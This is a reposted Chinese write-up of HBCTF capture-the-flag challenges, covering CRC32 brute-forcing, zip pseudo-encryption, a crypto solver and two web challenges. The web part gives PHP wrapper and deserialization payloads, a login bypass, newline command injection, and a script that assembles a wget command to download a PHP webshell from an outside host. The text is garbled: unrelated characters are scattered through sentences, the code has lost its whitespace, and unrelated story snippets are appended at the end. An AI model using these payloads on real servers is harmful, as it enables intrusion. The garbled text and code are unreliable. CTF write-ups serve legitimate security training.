HBCTF第一場WP-轉(zhuǎn)載

HBCTF第一場WP

發(fā)表于2017年5月23日

Misc

納蘭比亞-簽到題

aGJjdGZ7cTFhbmRhMH0=

base64編碼第焰,解碼即可,如下圖

博茲瓦納-爆破砰左?其實(shí)有更好的辦法

原題下載:http://hbctf-1252906577.costj.myqcloud.com/misc/flag6.zip

方法一:

用好壓打開能看到crc32如圖:

題目又說了6位數(shù),寫腳本爆破之得到答案,腳本如下:

Python

importbinasciireal=0x9c4d9a5dforyinrange(100000,999999):ifreal==(binascii.crc32(str(y))&0xffffffff):print(y)

方法二:

有人會想到爆破壓縮包井联,其實(shí)這道題并沒有加密,只是修改了一位數(shù)而已呈野,用winhex或者HxD打開壓縮包低矮,修改如圖位置為00,保存后就可以直接解壓了被冒,關(guān)于原理可以百度“zip偽加密”

Crypto

南非-just do it

原題下載:http://hbctf-1252906577.costj.myqcloud.com/crypto/justdoit.cpp

直接上腳本

Python

# -*- coding:utf8 -*-deffoo():a=[0]*19key="a7shw9o10e63nfi19dk"k=[ord(i)foriinkey]e=[71,100,24,51,16,97,81,59,53,94,99,100,29,116,25,77,96,27,105]a[0]=ord('H')foriinrange(len(e)-1):k[i+1]^=k[i]^a[i%7]^a[i%9]a[i+1]=0x53^e[i]^k[i]print''.join([chr(i)foriina])passif__name__=='__main__':foo()print'ok'

WEB

莫桑比克-php是最好的語言

題目地址:http://123.206.66.106

右擊查看源碼如下圖

PHP

you are not admin!";include($file);//class.php}else{echo"you are not admin ! ";}-->

方法一:先要加入user參數(shù)军掂,而且要滿足最后得到的user參數(shù)結(jié)果為 “the user is admin”,可以利用php偽協(xié)議:

http://123.206.66.106/index.php?user=php://input

同時利用Hackbar(一個火狐插件)發(fā)送post數(shù)據(jù)為

the?user?is?admin

如下圖

方法二:也可以利用data協(xié)議:

http://123.206.66.106/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=

昨悼。將the user is admin 用base64的方式傳入服務(wù)器

然后是看到helle admin! 到這個時候蝗锥,file參數(shù)可以包含class.php文件,pass參數(shù)還不知道率触,這時终议,同樣利用php偽協(xié)議來查看class.php源碼,payload如下:

http://123.206.66.106/index.php/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=php://filter/convert.base64-encode/resource=class.php

可以看到如圖所示base64編碼

解碼得到源碼如下:

PHP

file)){echofile_get_contents($this->file);}return"__toString was called!";}}?>

然后構(gòu)造出pass參數(shù)以獲取flag葱蝗,payload如下

http://123.206.66.106/index.php/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:10:"./f1a9.php";}

得到如圖界面:

查看源碼得到flag

贊比亞-npusec 網(wǎng)絡(luò)管理系統(tǒng)

首先發(fā)現(xiàn)有備份文件 ?index.php.bak ?下載下來,進(jìn)行審計

PHP

functiond_addslashes($array){foreach($arrayas$key=>$value){if(!is_array($value)){!get_magic_quotes_gpc()&&$value=addslashes($value);$array[$key]=$value;}else{$array[$key]=d_addslashes($array[$key]);}}return$array;}$_POST=d_addslashes($_POST);$_GET=d_addslashes($_GET);

發(fā)現(xiàn)有偽全局過濾穴张,注入就別想了.再繼續(xù)往下看,這里存在一個邏輯漏洞:

PHP

$username=isset($_POST['username'])?$_POST['username']:die();$password=isset($_POST['password'])?md5($_POST['password']):die();$sql="select password from users? where username='$username'";$result=$conn->query($sql);if(!$result){die('alert("用戶名或密碼錯誤!!")');}$row=$result->fetch_assoc();if($row[0]===$password){$_SESSION['username']=$username;$_SESSION['status']=1;header("Location:./ping.php");}else{die("alert('用戶名或密碼錯誤!!')");}

關(guān)鍵點(diǎn)在這里:

PHP

if(!$result){die('alert("用戶名或密碼錯誤!!")');}

即便是我們輸入一個不存在的用戶,這if也永遠(yuǎn)不會被執(zhí)行,因?yàn)?$db->query($sql) 返回的是一個mysql resource類型,始終不可能為空. 你可以用var_dump($result)試一下.

接下來就考察對php的熟悉程度了

PHP

$row[0]===$password

如果我們輸入了一個不存在的用戶名,那么$row[0] 是等于 NULL的,但是 md5($array) 也是返回 NULL,所以只需要讓password是一個數(shù)組,就可以繞過這里

所以最終用戶名密碼為:

username=1&password[]=1

繞過登陸之后,發(fā)現(xiàn)可以執(zhí)行ping命令,經(jīng)過測試發(fā)現(xiàn):

1. ip 必須是 x.x.x.x 的格式, x 代表 1-3個數(shù)字

2. ip長度必須大于等于7,小于等于15,否則都會返回ip格式錯誤

3. 可以使用這樣格式的ip: x.x.x.x[任意字符]

當(dāng) ip為ip=0.0.0.1||2時,返回 PING 0.0.0.12 (0.0.0.12): 56 data bytes

說明了|| 被替換為空了,同樣道理,你可以發(fā)現(xiàn)&,$,(),;`,都被替換為了空

最后發(fā)現(xiàn) %0a沒有被過濾:

測試:ip=0.0.0.1%0als -al,返回如下,說明ls已經(jīng)成功執(zhí)行.

PING?0.0.0.1?(0.0.0.1):?56?data?bytes

total?8

drwxr-xr-x?2?www-data?www-data?4096?Apr??7?04:54?.

drwxr-xr-x?5?www-data?www-data?4096?Apr??7?04:54?..

測試:ip=0.0.0.1%0apwd,返回了當(dāng)前的絕對路徑:

PING?0.0.0.1?(0.0.0.1):?56?data?bytes

/usr/share/nginx/html/sandBox/10.36.101.50

發(fā)現(xiàn)只有七個字符的可控輸入空間,就是7個字符的命令執(zhí)行啦,參考這篇文章http://wonderkun.cc/index.html/?p=524

下面給出python的payload吧:

Python

#!/usr/bin/python#-*- coding: utf-8 -*-importrequestsdefGetShell():url="http://vctf.ctftools.com/ping.php"header={"Cookie":"PHPSESSID=5rfro3re8253tv5f6fp5kd74l6","Content-Type":"application/x-www-form-urlencoded"}#fileNames = ["1.php","-O\ \\","cn\ \\","\ a.\\","wget\\"]# linux創(chuàng)建中間有空格的文件名两曼,需要轉(zhuǎn)義皂甘,所以有請求"cn\ \\"# 可以修改hosts文件,讓a.cn指向一個自己的服務(wù)器悼凑。# 在a.cn 的根目錄下創(chuàng)建index.html 偿枕,內(nèi)容是一個php shell'''

wget\\

\ wo\\

nd\\

er\\

ku\\

n.\\

cc\ \\

-O\ \\

1.php

'''fileNames=["1.php","-O\ \\\\","cc\ \\\\","n.\\\\","ku\\\\","er\\\\","nd\\\\","\ wo\\\\","wget\\\\"]ip="0.0.0.1%0a"forfileNameinfileNames:createFileIp=ip+">"+fileNameprintcreateFileIp? ? ? ? data="ip="+createFileIp? ? ? ? ? ? ? ? requests.post(url,data=data,headers=header)proxy={"http":"127.0.0.1:8080"}getShIp=ip+"ls%20-t>1"printgetShIp? ? data="ip="+getShIp? ? requests.post(url,data=data,headers=header,proxies=proxy)getShellIp=ip+"sh%201"printgetShellIp? ? data="ip="+getShellIp? ? requests.post(url,data=data,headers=header,proxies=proxy)shellUrl="http://vctf.ctftools.com/sandBox/10.25.159.132/1.php"#10.25.159.132為自己IPresponse=requests.get(shellUrl)ifresponse.status_code==200:print"[*] Get shell !"else:print"[*] fail!"if__name__=="__main__":GetShell()

拿到shell之后,連接本地的數(shù)據(jù)庫,獲取flag

HBCTF官方群:595176019

想要看WP可以關(guān)注ChaMd5公眾號:

PWN題WriteUp下載:點(diǎn)擊下載

在博客中遇到的問題可以聯(lián)系admin@ctftools.com

本文由Dr3@m原創(chuàng)發(fā)布,轉(zhuǎn)載請注明來自HBCTF BLOG户辫,轉(zhuǎn)載代碼(點(diǎn)擊全選渐夸,請按"Ctrl"+"C"復(fù)制):

此項(xiàng)目被張貼在HBCTF。書簽的permalink

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末渔欢,一起剝皮案震驚了整個濱河市墓塌,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖桃纯,帶你破解...
    沈念sama閱讀 218,682評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件酷誓,死亡現(xiàn)場離奇詭異,居然都是意外死亡态坦,警方通過查閱死者的電腦和手機(jī)盐数,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,277評論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來伞梯,“玉大人玫氢,你說我怎么就攤上這事∶战耄” “怎么了漾峡?”我有些...
    開封第一講書人閱讀 165,083評論 0 355
  • 文/不壞的土叔 我叫張陵,是天一觀的道長喻旷。 經(jīng)常有香客問我生逸,道長,這世上最難降的妖魔是什么且预? 我笑而不...
    開封第一講書人閱讀 58,763評論 1 295
  • 正文 為了忘掉前任槽袄,我火速辦了婚禮,結(jié)果婚禮上锋谐,老公的妹妹穿的比我還像新娘遍尺。我一直安慰自己,他們只是感情好涮拗,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,785評論 6 392
  • 文/花漫 我一把揭開白布乾戏。 她就那樣靜靜地躺著,像睡著了一般三热。 火紅的嫁衣襯著肌膚如雪鼓择。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,624評論 1 305
  • 那天就漾,我揣著相機(jī)與錄音惯退,去河邊找鬼。 笑死从藤,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的锁蠕。 我是一名探鬼主播夷野,決...
    沈念sama閱讀 40,358評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼荣倾!你這毒婦竟也來了悯搔?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,261評論 0 276
  • 序言:老撾萬榮一對情侶失蹤舌仍,失蹤者是張志新(化名)和其女友劉穎妒貌,沒想到半個月后通危,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,722評論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡灌曙,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,900評論 3 336
  • 正文 我和宋清朗相戀三年菊碟,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片在刺。...
    茶點(diǎn)故事閱讀 40,030評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡逆害,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出蚣驼,到底是詐尸還是另有隱情魄幕,我是刑警寧澤,帶...
    沈念sama閱讀 35,737評論 5 346
  • 正文 年R本政府宣布颖杏,位于F島的核電站纯陨,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏留储。R本人自食惡果不足惜翼抠,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,360評論 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望欲鹏。 院中可真熱鬧机久,春花似錦、人聲如沸赔嚎。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,941評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽尤误。三九已至侠畔,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間损晤,已是汗流浹背软棺。 一陣腳步聲響...
    開封第一講書人閱讀 33,057評論 1 270
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留尤勋,地道東北人喘落。 一個月前我還...
    沈念sama閱讀 48,237評論 3 371
  • 正文 我出身青樓,卻偏偏與公主長得像最冰,于是被迫代替她去往敵國和親瘦棋。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,976評論 2 355

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理暖哨,服務(wù)發(fā)現(xiàn)赌朋,斷路器,智...
    卡卡羅2017閱讀 134,659評論 18 139
  • =========================================================...
    lavor閱讀 3,490評論 0 5
  • 本文是Medusa和Hydra快速入門手冊的第二部分,第一部分的傳送門這兩篇也是后續(xù)爆破篇的一部分沛慢,至于字典赡若,放在...
    LinuxSelf閱讀 2,853評論 0 4
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當(dāng)給sq...
    xuningbo閱讀 10,315評論 2 22
  • 苦瓜跑蛋的制作材料: 主料:苦瓜一根,雞蛋六個(學(xué)生黨团甲,看到滿鍋黃燦燦的雞蛋就開心逾冬,oh,yeah~)調(diào)料:鹽伐庭,糖...
    xqiugen閱讀 274評論 0 1